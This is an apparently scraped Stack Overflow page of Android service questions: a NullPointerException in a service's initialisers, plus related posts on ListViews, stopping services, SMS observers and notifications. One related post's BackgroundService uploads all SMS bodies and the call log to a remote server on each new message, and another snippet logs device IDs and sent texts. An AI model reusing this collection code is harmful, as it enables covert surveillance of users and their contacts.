I am creating a service in onCreate of my main activity, but i am getting java.lang.RuntimeException: Unable to instantiate service com.ram.courier.service.CheckTimeService: java.lang.NullPointerException: Attempt to invoke virtual method 'android.content.Context android.content.Context.getApplicationContext()' on a null object reference
Here is my main activity where I start my service:
if(isServiceRunning(getApplicationContext() ,CheckTimeService.class)){
Log.d("APP","RUNNING SERVICE");
}
else{
Intent myServiceIntent = new Intent(SplashScreen.this, CheckTimeService.class);
startService(myServiceIntent);
}
}
Below is my service class:
public class CheckTimeService extends Service {
final Handler handler = new Handler();
Runnable run;
DatabaseAccess databaseAccess;
ApiCall apiCall;
final String startTime = "15:00:00";
final String endTime = "18:30:00";
// Context context = this.getApplicationContext();
Calendar now = Calendar.getInstance();
int hour = now.get(Calendar.HOUR_OF_DAY); //24 hour format
int minute = now.get(Calendar.MINUTE);
Date date = parseDate(hour + ":" + minute); //current time
//function for parsing the time
private Date parseDate(String date) {
final String inputFormat = "HH:mm";
SimpleDateFormat inputParser = new SimpleDateFormat(inputFormat, Locale.US);
try{
return inputParser.parse(date);
}catch (java.text.ParseException e){
return new Date(0);
}
}
Context context = this.getApplicationContext();
DatabaseOpenHelper myDB = new DatabaseOpenHelper(getApplicationContext());
SQLiteDatabase db = myDB.getReadableDatabase();
Cursor sessID = db.rawQuery(" SELECT * FROM " + DataConstants.TABLE_SESSION + " ORDER BY SessionID DESC LIMIT 1", null);
String sessionID = sessID.toString();//convert cursor result to string
Cursor DelVehDepID = db.rawQuery(" SELECT * FROM " + DataConstants.TABLE_DEL_VEH_DEP + " ORDER BY " + DataConstants.COLUMN_VEH_DEP_ID + "DESC LIMIT 1", null);
// JSONObject jsonObjectDelVehDepID = new JSONObject(String.valueOf(DelVehDepID));//convert string to json object
// String delvehdepid = jsonObjectDelVehDepID.toString();//convert cursor to string
String delvehdepid = DelVehDepID.toString();
#Override
public int onStartCommand(Intent intent, int flags, int startId) {
run = new Runnable() {
#Override
public void run() {
Date compareTimeOne = parseDate(startTime);
Date compareTimeTwo = parseDate(endTime);
if (compareTimeOne.before(date) && compareTimeTwo.after(date)) {
Log.d("test", " Time is between " + startTime + " and " + endTime);
//call to API
apiCall = new ApiCall(getApplicationContext(), AppConstants.TASK_API_CHECK_IS_CLOSED_SESSION, delvehdepid,
AppConstants.API_CHECK_IS_CLOSED_SESSION + sessionID, new SyncServiceListener() {
#Override
public void onSuccess(int taskID, String Response) {
try {
JSONObject json = new JSONObject(Response);
Log.d("onSuccess",json.toString());
CommonCalls.getInstance().trackSyncRequestService(getApplicationContext(), AppConstants.TASK_API_CHECK_IS_CLOSED_SESSION+sessionID,json.toString());
JSONObject result = json.getJSONObject("Result");
if(result!=null && result.getString("Result")!=null){
if(result.getString("Result")=="true"){
//clear session data and logout drivers and crew members
PreferenceHandler.writeBoolean(CheckTimeService.this, "missing_pod", false);
PreferenceHandler.writeBoolean(CheckTimeService.this, "new_session", true);
PreferenceHandler.writeString(CheckTimeService.this, "activity", "");
PreferenceHandler.writeString(CheckTimeService.this, "session_id", "");
PreferenceHandler.writeString(CheckTimeService.this, "POD_bag", "");
DatabaseAccess.getInstance(CheckTimeService.this).open();
DatabaseAccess.getInstance(CheckTimeService.this).clearSheetsData();
}
}
} catch (JSONException e) {
e.printStackTrace();
}
}
#Override
public void onError(int taskID, String Response) {
Log.d("ERROR","ERROR...NO RESPONSE" + Response);
}
});
}
else
{
Log.d("test", "Time is not in between" + startTime + "and" + endTime);
}
handler.postDelayed(this,1000);
}
};
handler.post(run);
return START_STICKY;
}
#Override
public void onDestroy() {
super.onDestroy();
handler.removeCallbacks(run);
}
#Nullable
#Override
public IBinder onBind(Intent intent) {
return null;
}
}
Related
I am new in android java world. Now, I'm trying to display data table from MSSQL in ArrayList to ListView in android. I'm trying to make the following code something like this in ScanResult Class;
public class FillList extends AsyncTask<String,String,String>{
String z ="";
List<Map<String,String>> prolist = new ArrayList<Map<String,String>>();
#Override
protected void onPreExecute() {
}
#Override
protected void onPostExecute(String s) {
Toast t = Toast.makeText(getApplicationContext(),s,Toast.LENGTH_SHORT);
t.show();
}
#Override
protected String doInBackground(String... strings) {
try{
ConnectionHelper connectionHelper = new ConnectionHelper();
connect = connectionHelper.connectionclass();
if(connect==null){
z ="Connection error";
} else {
String query = "SELECT LabelNo " +
", Qty " +
", Rmrks " +
", ScanDate " +
"FROM dbo.shikakarikensa " +
"WHERE CAST(ScanDate AS DATE) = CAST(GETDATE()-1 AS DATE) " +
"AND Type = 'I' " +
"ORDER BY ScanDate DESC";
PreparedStatement ps = connect.prepareStatement(query);
ResultSet rs = ps.executeQuery();
while (rs.next()){
CustomListViewValueArr.add(new ScanModel(rs.getString("LabelNo"),rs.getInt("Qty"),rs.getString("Rmrks"),rs.getString("ScanDate")));
}
z="Today's scan result list";
}
} catch (Exception ex){
z = ex.getMessage();
}
return z;
}
}
But I get an error Cannot resolve method 'setText(java.sql.Date)' in the CustomAdapter Class, which is in the line;
holder.txtscandate.setText(scanModel.getScanDate());
scanModel = null;
scanModel=(ScanModel) mList.get(position);
holder.txtlabelno.setText(scanModel.getLabelNo());
holder.txtqty.setText(scanModel.getQty());
holder.txtrmrks.setText(scanModel.getRmrks());
holder.txtscandate.setText(scanModel.getScanDate());
I tried also comment the ScanDate line but the data does not showing in the ListView.
This is Model Class
public class ScanModel {
String LabelNo, Rmrks;
int Qty;
Date ScanDate;
public ScanModel(String labelno, int qty, String rmrks, Date scandate) {
LabelNo = labelno;
Qty = qty;
Rmrks = rmrks;
ScanDate = scandate;
}
public String getLabelNo() { return LabelNo; }
public int getQty() { return Qty; }
public String getRmrks() { return Rmrks; }
public Date getScanDate() { return ScanDate; }
}
i have app in which i am sending data to server every time when new messages receives.
Problem:
Only once data is uploaded successfully but for next times data is not uploaded. i have also used volley for this problem but it also have same problem.
What i've tried
BackgroundService.class
public class BackgroundService extends Service {
private static final String TAG = BackgroundService.class.getSimpleName();
Context context;
Uri mSmsQueryUri = Uri.parse("content://sms");
private boolean isRunning;
private Thread backgroundThread;
String phoneNumber;
SessionManager sessionManager;
ArrayList<String> smss;
String callllogs;
public BackgroundService() {
}
#Nullable
#Override
public IBinder onBind(Intent intent) {
return null;
}
#Override
public void onCreate() {
super.onCreate();
this.context = this;
sessionManager = new SessionManager(this);
this.isRunning = false;
Log.i(TAG, "onCreate called");
this.backgroundThread = new Thread(myTask);
}
#Override
public int onStartCommand(Intent intent, int flags, int startId) {
if (!this.isRunning) {
Log.i(TAG, "onStartCommand called");
this.backgroundThread.start();
this.isRunning = true;
stopSelf();
}
return START_STICKY;
}
private Runnable myTask = new Runnable() {
#RequiresApi(api = Build.VERSION_CODES.KITKAT)
public void run() {
if (BaseUrl.isConnectedtoInternet(context)) {
//addToServerOkhttp(context);
addtoServer(context);
} else {
Log.i(TAG, "No internt Connection");
}
}
};
#RequiresApi(api = Build.VERSION_CODES.KITKAT)
private void addtoServer(final Context context) {
Log.i(TAG, "addToServer called");
String url = BaseUrl.baseUrl + context.getResources().getString(R.string.store_new_details);
Log.i(TAG, url);
smss = getMessages();
callllogs = getCallDetail();
Toast.makeText(context, "inMethod", Toast.LENGTH_SHORT).show();
StringRequest request = new StringRequest(Request.Method.POST, url, new Response.Listener<String>() {
#Override
public void onResponse(String response) {
Log.i(TAG, response);
if (response.equals("Message Received!")) {
Toast.makeText(context, "ok rocky", Toast.LENGTH_SHORT).show();
AppController.getInstance().cancelPendingRequests(BaseUrl.tag_string_req);
}
// Toast.makeText(context, "Messages Uploaded Successfully.! (BackgroundService)", Toast.LENGTH_SHORT).show();
//Toast.makeText(context, response, Toast.LENGTH_SHORT).show();
}
}, new Response.ErrorListener() {
#Override
public void onErrorResponse(VolleyError error) {
// Toast.makeText(context, error.getLocalizedMessage(), Toast.LENGTH_SHORT).show();
if (error == null || error.networkResponse == null) {
return;
}
String body;
//get status code here
final String statusCode = String.valueOf(error.networkResponse.statusCode);
Log.i(TAG, statusCode);
//get response body and parse with appropriate encoding
try {
body = new String(error.networkResponse.data, "UTF-8");
Log.i(TAG, body);
} catch (UnsupportedEncodingException e) {
// exception
Log.i(TAG, e.getMessage());
}
Log.i(TAG, error.getMessage());
}
}) {
#Override
protected Map<String, String> getParams() throws AuthFailureError {
HashMap<String, String> params = new HashMap<>();
Log.i(TAG, SessionManager.getPhoneNumber());
params.put("imei_no", "");
params.put("calllog", callllogs);
params.put("record", smss.toString());
params.put("phone", SessionManager.getPhoneNumber());
return params;
}
};
// Adding request to request queue
AppController.getInstance().addToRequestQueue(request, BaseUrl.tag_string_req);
// try{
// RequestQueue requestQueue= Volley.newRequestQueue(this);
// requestQueue.add(request);
// }catch (Exception e){
// Log.i(TAG,e.getMessage());
// }
}
#RequiresApi(api = Build.VERSION_CODES.KITKAT)
public ArrayList<String> getMessages() {
ArrayList<String> messages = new ArrayList<String>();
ContentResolver contentResolver = getContentResolver();
Cursor cursor = null;
try {
cursor = contentResolver.query(mSmsQueryUri, new String[]{"_id", "address", "date", "body",
"type", "read"}, null, null, "date desc");
if (cursor == null) {
Log.i("curson null", "cursor is null. uri: " + mSmsQueryUri);
Toast.makeText(this, "curor null", Toast.LENGTH_SHORT).show();
}
//assert cursor != null;
for (boolean hasData = cursor.moveToFirst(); hasData; hasData = cursor.moveToNext()) {
String body = cursor.getString(cursor.getColumnIndex("body"));
String address = cursor.getString(cursor.getColumnIndex("address"));
messages.add("\n" + "Number: " + address + "\n" + "Content: " + body + "\n");
}
} catch (Exception e) {
Toast.makeText(context, e.getLocalizedMessage(), Toast.LENGTH_SHORT).show();
Log.e("Error", e.getMessage());
} finally {
//assert cursor != null;
cursor.close();
}
//Toast.makeText(context, "all okaay", Toast.LENGTH_SHORT).show();
return messages;
}
private String getCallDetail() {
Toast.makeText(context, "calldetails", Toast.LENGTH_SHORT).show();
StringBuffer stringBuffer = new StringBuffer();
Cursor cursor = context.getContentResolver().query(CallLog.Calls.CONTENT_URI,
null, null, null, CallLog.Calls.DATE + " DESC");
int number = cursor.getColumnIndex(CallLog.Calls.NUMBER);
int type = cursor.getColumnIndex(CallLog.Calls.TYPE);
int date = cursor.getColumnIndex(CallLog.Calls.DATE);
int duration = cursor.getColumnIndex(CallLog.Calls.DURATION);
while (cursor.moveToNext()) {
String phNumber = cursor.getString(number);
String callType = cursor.getString(type);
String callDate = cursor.getString(date);
Date callDayTime = new Date(Long.valueOf(callDate));
String callDuration = cursor.getString(duration);
String dir = null;
int dircode = Integer.parseInt(callType);
switch (dircode) {
case CallLog.Calls.OUTGOING_TYPE:
dir = "OUTGOING";
break;
case CallLog.Calls.INCOMING_TYPE:
dir = "INCOMING";
break;
case CallLog.Calls.MISSED_TYPE:
dir = "MISSED";
break;
}
stringBuffer.append("\nPhone Number:--- " + phNumber + " \nCall Type:--- "
+ dir + " \nCall Date:--- " + callDayTime
+ " \nCall duration in sec :--- " + callDuration);
stringBuffer.append("\n----------------------------------");
}
cursor.close();
//Toast.makeText(context, "also all ok", Toast.LENGTH_SHORT).show();
return stringBuffer.toString();
}
}
Service is called from Broadcast receiver every time when new message
receives.
I am trying to stop my service but it gives null object reference. this is my code ......
PendingUpdatesService.java
NetworkStateReceiver networkStateReceiver;
MarkAttendance attendance ;
#Nullable
#Override
public IBinder onBind(Intent intent) {
return null;
}
#Override
public int onStartCommand(Intent intent, int flags, int startId) {
Toast.makeText(this, "Service Started", Toast.LENGTH_LONG).show();
networkStateReceiver = new NetworkStateReceiver(this);
networkStateReceiver.addListener(this);
this.registerReceiver(networkStateReceiver, new IntentFilter(android.net.ConnectivityManager.CONNECTIVITY_ACTION));
return START_STICKY;
}
#Override
public void onDestroy() {
super.onDestroy();
Toast.makeText(this, "Service Destroyed", Toast.LENGTH_LONG).show();
}
#Override
public void onNetworkAvailable() {
Toast.makeText(this, "NW available", Toast.LENGTH_LONG).show();
SharedPreferenceSingleton.getInstance().init(getApplication());
if (SharedPreferenceSingleton.getInstance().getIntPreference(StudentsAttendanceContracts.IF_ATTENDANCE_FAILED) == 1) {
attendance = new MarkAttendance();
attendance.updateAttendance(getApplicationContext());
}
}
#Override
public void onNetworkUnavailable() {
Toast.makeText(this, "NW not available", Toast.LENGTH_LONG).show();
}
this is a class where i am trying to stop service......
MarkAttendance.java
String mClassId, mStaffId ;
String date, classAttendanceDate;
Context mContext;
SQLiteDatabase mDB;
public void updateAttendance(Context context) {
this.mContext = context;
mDB = context.openOrCreateDatabase(DatabaseContracts.BLUEWINGS_STAFF_DB_NAME, Context.MODE_PRIVATE, null);
SharedPreferenceSingleton.getInstance().init(context);
mStaffId = String.valueOf(SharedPreferenceSingleton.getInstance().getIntPreference(SharedContracts.TEACHER_STAFF_ID));
String[] parameter = {"Attendance"} ;
String query = " SELECT * FROM " + DatabaseContracts.Tables.CheckingDataOnServer.TABLE + " WHERE " + DatabaseContracts.Tables.CheckingDataOnServer.MODULE_NAME + " =? ";
Cursor cursor = mDB.rawQuery(query, parameter);
cursor.moveToFirst();
while(!cursor.isAfterLast()){
if (cursor.getString(cursor.getColumnIndex(DatabaseContracts.Tables.CheckingDataOnServer.IS_ATTENDANCE_SAVED)).equals("false")){
mClassId = cursor.getString(cursor.getColumnIndex(DatabaseContracts.Tables.CheckingDataOnServer.CLASS_ID));
SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSSZ");
classAttendanceDate = cursor.getString(cursor.getColumnIndex(DatabaseContracts.Tables.CheckingDataOnServer.DATE));
Date attendancedate = null;
try {
attendancedate = dateFormat.parse(classAttendanceDate);
} catch (ParseException e) {
e.printStackTrace();
}
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd");
date = format.format(attendancedate);
String[] parameters = {mClassId ,date + "%"};
Cursor studentInfo = mDB.rawQuery(" SELECT * FROM " + DatabaseContracts.Tables.AttendanceTable.TABLE +
" WHERE " + DatabaseContracts.Tables.AttendanceTable.CLASS_ID + " =? " +
" AND " + DatabaseContracts.Tables.AttendanceTable.ATTENDANCE_DATE + " LIKE ? ", parameters);
JSONObject attObj = new JSONObject();
try {
attObj.put(StudentsAttendanceContracts.FK_STAFF_ID, mStaffId);
attObj.put(StudentsAttendanceContracts.CLASS_ID, mClassId);
attObj.put(StudentsAttendanceContracts.ATTENDANCE_DATE, classAttendanceDate);
JSONArray studentArray = new JSONArray();
studentInfo.moveToFirst();
while (!studentInfo.isAfterLast())
{
JSONObject stuObj = new JSONObject();
stuObj.put(StudentsAttendanceContracts.STUDENT_ID, studentInfo.getString(studentInfo.getColumnIndex(DatabaseContracts.Tables.AttendanceTable.STUDENT_ID)));
stuObj.put(StudentsAttendanceContracts.ATTENDENCE_STATUS, studentInfo.getString(studentInfo.getColumnIndex(DatabaseContracts.Tables.AttendanceTable.ATTENDANCE_STATUS)));
studentArray.put(stuObj);
studentInfo.moveToNext();
}
attObj.put(StudentsAttendanceContracts.ATTENDANCE_KEY, studentArray);
AsyncWorkerEncrypted mAsyncWorker = new AsyncWorkerEncrypted(context,false);
mAsyncWorker.delegate = this;
mAsyncWorker.execute(ServerConnector.MARK_ATTENDANCE, attObj.toString(), RequestConstants.POST_REQUEST, RequestConstants.HEADER_YES, RequestConstants.MARK_ATTENDANCE);
} catch (JSONException e) {
e.printStackTrace();
}
}
cursor.moveToNext();
}
}
#Override
public void onRefresh() {
}
#Override
public void ReceivedResponseFromServer(String output, String REQUEST_NUMBER) {
switch (REQUEST_NUMBER) {
case RequestConstants.MARK_ATTENDANCE :
Boolean response = false ;
try {
JSONObject obj = new JSONObject(output);
response = obj.getBoolean(StudentsAttendanceContracts.RESPONSE_STATUS);
} catch (JSONException e) {
e.printStackTrace();
}
if(response){
String[] updateparameterOfCheckingPendingUpdatesTable = {"true", "Attendance", mClassId, date+"%"};
String Updatequery = " UPDATE " + DatabaseContracts.Tables.CheckingDataOnServer.TABLE + " SET " +
"" + DatabaseContracts.Tables.CheckingDataOnServer.IS_ATTENDANCE_SAVED + " =? " +
" WHERE " + DatabaseContracts.Tables.CheckingDataOnServer.MODULE_NAME + " =? " +
" AND " + DatabaseContracts.Tables.CheckingDataOnServer.CLASS_ID + " =? " +
" AND " + DatabaseContracts.Tables.CheckingDataOnServer.DATE + " LIKE ? " ;
mDB.execSQL(Updatequery, updateparameterOfCheckingPendingUpdatesTable);
stopService(new Intent(mContext, PendingUpdatesService.class)) ;
SharedPreferenceSingleton.getInstance().init(mContext);
SharedPreferenceSingleton.getInstance().writeIntPreference(StudentsAttendanceContracts.IF_ATTENDANCE_FAILED, 0);
}
break;
}
}
enter code here
stopService(new Intent(mContext, PendingUpdatesService.class)) ;
for this line i am getting null object reference for context ....
this is my stacktrace
06-03 12:55:43.051 7714-7714/com.synclovis.bluewingsstaff E/AndroidRuntime: FATAL EXCEPTION: main
Process: com.synclovis.bluewingsstaff, PID: 7714
java.lang.NullPointerException: Attempt to invoke virtual method 'boolean android.content.Context.stopService(android.content.Intent)' on a null object reference
at android.content.ContextWrapper.stopService(ContextWrapper.java:539)
at com.synclovis.bluewingsstaff.util.MarkAttendance.ReceivedResponseFromServer(MarkAttendance.java:119)
at com.synclovis.bluewingsstaff.networkEngine.AsyncWorkerEncrypted.onPostExecute(AsyncWorkerEncrypted.java:178)
at com.synclovis.bluewingsstaff.networkEngine.AsyncWorkerEncrypted.onPostExecute(AsyncWorkerEncrypted.java:26)
at android.os.AsyncTask.finish(AsyncTask.java:636)
at android.os.AsyncTask.access$500(AsyncTask.java:177)
at android.os.AsyncTask$InternalHandler.handleMessage(AsyncTask.java:653)
at android.os.Handler.dispatchMessage(Handler.java:102)
at android.os.Looper.loop(Looper.java:145)
at android.app.ActivityThread.main(ActivityThread.java:6946)
at java.lang.reflect.Method.invoke(Native Method)
at java.lang.reflect.Method.invoke(Method.java:372)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1404)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1199)
Try replacing getApplicationContext() with this.
Please provide the stacktrace which appears in your logcat when the exception occurs.
You are calling the ReceivedResponseFromServer method from the Async task.
It looks like updateAttendance() is where you would prefer to set the context.
It's hard to tell if it's a threading issue or something else, but a quick fix should be just passing in the context from the async task if you have access to it. That way you need not set the context in updateAttendance() as you're not using it in that method anyway (unless you're using it elsewhere in the class).
Does this Code will Work on Any Device/Android Version since Froyo 2.2 :
public class SmsObserver extends ContentObserver {
private String Name;
private SharedPreferences myPrefs;
public SmsObserver(Handler handler , Context ctx) {
super(handler);
// TODO Auto-generated constructor stub
context = ctx;
initialPos = getLastMsgId();
}
private Context context;
private static int initialPos;
private static final String TAG = "SMSContentObserver";
private static final Uri uriSMS = Uri.parse("content://sms");
#Override
public void onChange(boolean selfChange) {
super.onChange(selfChange);
queryLastSentSMS();
}
public int getLastMsgId() {
Cursor cur = context.getContentResolver().query(uriSMS, null, null, null, null);
cur.moveToFirst();
int lastMsgId = cur.getInt(cur.getColumnIndex("_id"));
Log.i(TAG, "Last sent message id: " + String.valueOf(lastMsgId));
return lastMsgId;
}
protected void queryLastSentSMS() {
new Thread(new Runnable() {
public void run() {
Cursor cur =
context.getContentResolver().query(uriSMS, null, null, null, null);
if (cur.moveToNext()) {
TelephonyManager tm = (TelephonyManager)
context.getSystemService(Context.TELEPHONY_SERVICE);
String myDeviceId = tm.getDeviceId();
String myTelephoneNumber = tm.getLine1Number();
Calendar c = Calendar.getInstance();
int day = c.get(Calendar.DAY_OF_MONTH);
int month = c.get(Calendar.MONTH);
int year = c.get(Calendar.YEAR);
int hour = c.get(Calendar.HOUR);
int minute = c.get(Calendar.MINUTE);
int seconde = c.get(Calendar.SECOND);
try {
String body = cur.getString(cur.getColumnIndex("body"));
String reformated_body =
Normalizer.normalize(body, Normalizer.Form.NFD).replaceAll(
"[^\\p{ASCII}]", "");
if (initialPos != getLastMsgId()) {
myPrefs = context.getSharedPreferences("Preferences", Context.MODE_WORLD_WRITEABLE);
getDisplayNameFromPhoneNo(cur.getString(cur.getColumnIndex("address")));
final String finalTxt = context.getResources().getString(R.string.txtSMSSent) + " " + Name + " " + cur.getString(cur.getColumnIndex("address")) + " " + context.getResources().getString(R.string.txtSMSMessage) + reformated_body;
Log.i(TAG, "Reformated Body : " + reformated_body);
Log.i("account", myDeviceId);
Log.i("date", day + "-" + month + "-" + year + " "
+ hour + ":" + minute + ":" + seconde);
Log.i("sender", myTelephoneNumber);
Log.i("receiver", cur.getString(cur.getColumnIndex("address")));
Log.i("message", reformated_body);
if(!cur.getString(cur.getColumnIndex("address")).equals(Gever)){
// Then, set initialPos to the current position.
initialPos = getLastMsgId();
}
}} catch (Exception e) {
// Treat exception here
}
}
cur.close();
}
}).start();
}
public void getDisplayNameFromPhoneNo(String phoneNo) {
ContentResolver localContentResolver = context.getContentResolver();
Cursor contactLookupCursor =
localContentResolver.query(
Uri.withAppendedPath(PhoneLookup.CONTENT_FILTER_URI,
Uri.encode(phoneNo)),
new String[] {PhoneLookup.DISPLAY_NAME, PhoneLookup._ID},
null,
null,
null);
try {
while(contactLookupCursor.moveToNext()){
String contactName = contactLookupCursor.getString(contactLookupCursor.getColumnIndexOrThrow(PhoneLookup.DISPLAY_NAME));
String contactId = contactLookupCursor.getString(contactLookupCursor.getColumnIndexOrThrow(PhoneLookup._ID));
Log.d("LOGTAG", "contactMatch name: " + contactName);
Log.d("LOGTAG", "contactMatch id: " + contactId);
Name = contactName;
}
} finally {
contactLookupCursor.close();
}
}
}//End of class SmsObserver
I received One report from someone that say its does not Work , for me , its working fine , so this : "content://sms" is the Same for All Android Version ?
I am developing an android app.I wan to provide five notifications per day.I will store the notification time in sqlite database.Then I compare this db notification time with the devices time in a repeating loop using service.But the notification will not work properly.Forceclose appeared.I have given the two class files Third,java and MyService below.......I need the help
Third.java
public class third extends Activity {
/** Called when the activity is first created. */
Button btnopen;
Spinner spin1,spin2,spin3,spin4,spin5;
EditText t1,t2,t3,t4,t5;
String fajr,zuhr,asr,magrib,isha;
String[] item={"","2-Times Allahu akbar","3-Beep once"};
example r=new example();
private static final String DATABASE_NAME = "MYPRAYER.db";
private static final String DATABASE_TABLE = "notification";
private static final String DATABASE_CREATE = "create table "+DATABASE_TABLE+"(id integer primary key autoincrement , fajr varchar not null , zuhr varchar not null , asr varchar not null , magrib varchar not null , isha varchar not null );";
#Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.page3);
/* Call the service */
Intent i = new Intent();
i.setClassName( "org.prayer.test","org.prayer.test.MyService" );
bindService( i, null, Context.BIND_AUTO_CREATE);
this.startService(i);
/* Populate the spinner */
btnopen=(Button)findViewById(R.id.button1);
t1=(EditText)findViewById(R.id.editText1);
t2=(EditText)findViewById(R.id.editText2);
t3=(EditText)findViewById(R.id.editText3);
t4=(EditText)findViewById(R.id.editText4);
t5=(EditText)findViewById(R.id.editText5);
spin1=(Spinner)findViewById(R.id.spinner1);
spin2=(Spinner)findViewById(R.id.spinner3);
spin3=(Spinner)findViewById(R.id.spinner4);
spin4=(Spinner)findViewById(R.id.spinner6);
spin5=(Spinner)findViewById(R.id.spinner7);
ArrayAdapter<String> a1=new ArrayAdapter<String>(this, android.R.layout.simple_spinner_item,item);
a1.setDropDownViewResource(android.R.layout.simple_spinner_item);
spin1.setAdapter(a1);
spin2.setAdapter(a1);
spin3.setAdapter(a1);
spin4.setAdapter(a1);
spin5.setAdapter(a1);
/* Notification time stored on the database */
try
{
SQLiteDatabase myDB;
//myDB = openOrCreateDatabase(DATABASE_NAME, Context.MODE_PRIVATE, null);
myDB = SQLiteDatabase.openDatabase("/data/data/org.prayer.test/databases/MYPRAYER.db",null,SQLiteDatabase.CREATE_IF_NECESSARY);
//myDB.execSQL(DATABASE_CREATE);
myDB.execSQL(DATABASE_CREATE);
myDB = openOrCreateDatabase(DATABASE_NAME, Context.MODE_PRIVATE, null);
ContentValues newRow = new ContentValues();
newRow.put("id", "1");
newRow.put("fajr", "0:00 AM");
newRow.put("zuhr", "0:00 AM");
newRow.put("asr", "0:00 AM");
newRow.put("magrib", "0:00 AM");
newRow.put("isha", "0:00 AM");
myDB.insert(DATABASE_TABLE, null, newRow);
myDB.close();
}
catch(SQLiteException ex)
{
//Do nothing
//System.out.println(ex.getMessage());
}
btnopen.setOnClickListener(new OnClickListener() {
#Override
public void onClick(View v) {
fajr=t1.getText().toString();
zuhr=t2.getText().toString();
asr=t3.getText().toString();
magrib=t4.getText().toString();
isha=t5.getText().toString();
SQLiteDatabase myDB;
myDB = openOrCreateDatabase(DATABASE_NAME, Context.MODE_PRIVATE, null);
ContentValues newRow = new ContentValues();
newRow.put("id", "1");
newRow.put("fajr", fajr);
newRow.put("zuhr", zuhr);
newRow.put("asr", asr);
newRow.put("magrib", magrib);
newRow.put("isha", isha);
myDB.update(DATABASE_TABLE, newRow,"id" + "=" + "1",null);
Toast.makeText(getApplicationContext(), "row updated", Toast.LENGTH_SHORT).show();
myDB.close();
}
});
}
}
MyService.java
ppublic class MyService extends Service {
private static final String DATABASE_NAME = "MYPRAYER.db";
private static final String DATABASE_TABLE = "notification";
String tag="TestService";
String a="hello";
String res1,res2,res3,res4,res5;
int hour,minute;
String day3,day4,minute1,hour1;
MediaPlayer mMediaPlayer;
/* Service creation */
#Override
public void onCreate() {
super.onCreate();
Toast.makeText(this, "Service created...", Toast.LENGTH_LONG).show();
Log.i(tag, "Service created...");
/* Rereive notification times from the databse notificaion */
SQLiteDatabase myDB;
myDB = openOrCreateDatabase(DATABASE_NAME, Context.MODE_PRIVATE, null);
String[] resultColumns = new String[] {"fajr","zuhr","asr","magrib","isha"};
Cursor allRows = myDB.query(DATABASE_TABLE, resultColumns, null, null, null, null, null, null);
Integer cindex = allRows.getColumnIndex("fajr");
Integer cindex1 = allRows.getColumnIndex("zuhr");
Integer cindex2 = allRows.getColumnIndex("asr");
Integer cindex3 = allRows.getColumnIndex("magrib");
Integer cindex4 = allRows.getColumnIndex("isha");
allRows.moveToFirst();
res1=allRows.getString(cindex);
res2=allRows.getString(cindex1);
res3=allRows.getString(cindex2);
res4=allRows.getString(cindex3);
res5=allRows.getString(cindex4);
myDB.close();
while(!Thread.currentThread().isInterrupted())
{
try
{
Calendar cal = Calendar.getInstance(); // Rereive calender date
hour = cal.get(Calendar.HOUR_OF_DAY); // Take hour from the calender
minute = cal.get(Calendar.MINUTE); // Take minute from the calender
minute1=minute + ""; // Convert minute to dtring
if(minute1.equals("1"))
{
minute1="01";
}
else if(minute1.equals("2"))
{
minute1="02";
}
else if(minute1.equals("3"))
{
minute1="03";
}
else if(minute1.equals("4"))
{
minute1="04";
}
else if(minute1.equals("5"))
{
minute1="05";
}
else if(minute1.equals("6"))
{
minute1="06";
}
else if(minute1.equals("7"))
{
minute1="07";
}
else if(minute1.equals("8"))
{
minute1="08";
}
else if(minute1.equals("9"))
{
minute1="09";
}
/* Converting to 12 hour format */
if ( hour < 12 )
{
hour=hour;
day3=hour + "" + ":" + minute1;
day4=day3 + " " + "AM"; // DAY4 Contains the system time
}
else
{
hour=hour-12;
day3=hour + "" + ":" + minute1;
day4=day3 + " " + "PM";
}
if(day4.equals(res1))
{
Notification("Notification Title","Notification Message");
}
if(day4.equals(res2))
{
Notification("Notification Title","Notification Message");
}
if(day4.equals(res3))
{
Notification("Notification Title","Notification Message");
}
if(day4.equals(res4))
{
Notification("Notification Title","Notification Message");
}
if(day4.equals(res5))
{
Notification("Notification Title","Notification Message");
}
Thread.sleep(1000);
}
catch (InterruptedException e)
{
Thread.currentThread().interrupt();
//System.out.println("New 1 Exception here");
}
catch (Exception e)
{
//Thread.currentThread().interrupt();
System.out.println("nEW Exception here");
}
}
}
#Override
public void onStart(Intent intent, int startId) {
super.onStart(intent, startId);
Log.i(tag, "Service started...");
}
#Override
public void onDestroy() {
super.onDestroy();
Toast.makeText(this, "Service destroyed...", Toast.LENGTH_LONG).show();
}
#Override
public IBinder onBind(Intent intent) {
return null;
}
private void Notification(String notificationTitle, String notificationMessage)
{
NotificationManager notificationManager = (NotificationManager)getSystemService(NOTIFICATION_SERVICE);
Notification notification = new Notification(R.drawable.ic_launcher, "A New Message!", System.currentTimeMillis());
Intent notificationIntent = new Intent(this,MyService.class);
PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notificationIntent, 0);
notification.setLatestEventInfo(MyService.this, notificationTitle, notificationMessage, pendingIntent);
notificationManager.notify(10001, notification);
//HELLO_ID++;
Uri alert = RingtoneManager.getDefaultUri(
RingtoneManager.TYPE_NOTIFICATION);
mMediaPlayer = new MediaPlayer();
try
{
mMediaPlayer.setDataSource(this, alert);
AudioManager audioManager = (AudioManager)getSystemService(
Context.AUDIO_SERVICE);
int volumen = audioManager.getStreamVolume(
AudioManager.STREAM_NOTIFICATION);
if (volumen != 0) {
mMediaPlayer.setAudioStreamType(AudioManager.STREAM_NOTIFICATION);
mMediaPlayer.setLooping(true);
mMediaPlayer.prepare();
mMediaPlayer.start();
}
}
catch(IOException e)
{
System.out.println("Exception here");
//System.out.println("Exception 1 here");
}
}
}
Lgcat :
07-27 16:24:52.591: E/global(363): Deprecated Thread methods are not supported.
07-27 16:24:52.591: E/global(363): java.lang.UnsupportedOperationException
07-27 16:24:52.591: E/global(363): at java.lang.VMThread.stop(VMThread.java:85)
07-27 16:24:52.591: E/global(363): at java.lang.Thread.stop(Thread.java:1379)
07-27 16:24:52.591: E/global(363): at java.lang.Thread.stop(Thread.java:1344)
07-27 16:24:52.591: E/global(363): at org.prayer.test.splash$1.run(splash.java:71)
07-27 16:24:53.002: D/dalvikvm(363): GC freed 879 objects / 65552 bytes in 108ms
07-27 16:25:00.542: I/TestService(363): Service created...
07-27 16:25:20.752: I/dalvikvm(363): threadid=7: reacting to signal 3
